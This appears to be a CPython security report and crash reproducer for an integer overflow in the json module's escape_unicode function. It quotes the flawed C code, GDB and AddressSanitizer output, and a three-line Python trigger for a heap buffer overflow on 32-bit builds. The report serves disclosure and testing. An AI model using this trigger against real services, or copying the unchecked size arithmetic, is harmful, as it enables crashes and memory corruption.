Reported by Brendon Tiszka on the security list:
# static PyObject *
# escape_unicode(PyObject *pystr)
# {
# /* Take a PyUnicode pystr and return a new escaped PyUnicode */
# Py_ssize_t i;
# Py_ssize_t input_chars;
# Py_ssize_t output_size;
# Py_ssize_t chars;
# PyObject *rval;
# void *input;
# int kind;
# Py_UCS4 maxchar;
#
# if (PyUnicode_READY(pystr) == -1)
# return NULL;
#
# maxchar = PyUnicode_MAX_CHAR_VALUE(pystr);
# input_chars = PyUnicode_GET_LENGTH(pystr);
# input = PyUnicode_DATA(pystr);
# kind = PyUnicode_KIND(pystr);
#
# /* Compute the output size */
# for (i = 0, output_size = 2; i < input_chars; i++) {
# Py_UCS4 c = PyUnicode_READ(kind, input, i);
# switch (c) {
# case '\\': case '"': case '\b': case '\f':
# case '\n': case '\r': case '\t':
# output_size += 2;
# break;
# default:
# if (c <= 0x1f)
# output_size += 6;
# else
# output_size++;
# }
# }
#
# rval = PyUnicode_New(output_size, maxchar);
#
# 1.) if c is <= 0x1f then output_size += 6. There are no overflow checks on this variable.
# 2.) rval buffer is too small to hold results
#
# Crash:
# ------
#
# Program received signal SIGSEGV, Segmentation fault.
# 0xb7a2e9be in escape_unicode (pystr=pystr@entry=0x8cf81018)
# at /home/pail/cpython/Modules/_json.c:306
# 306 ENCODE_OUTPUT;
#
# OS info
# --------
# %./python -V
# > Python 3.6.0a0
# % uname -a
# Linux Pail0verflow 3.13.0-52-generic #85-Ubuntu SMP Wed Apr 29 16:44:56 UTC 2015 i686 i686 i686 GNU/Linux
#
# ASAN Info (details in other file)
# =================================================================
# ==6512== ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb5c00000 at pc 0xb5f17356 bp 0xbfaa0eb8 sp 0xbfaa0eac
# WRITE of size 1 at 0xb5c00000 thread T0
import json
sp = "\x13"*715827883 #((2**32)/6 + 1)
json.dumps([sp], ensure_ascii=False)
|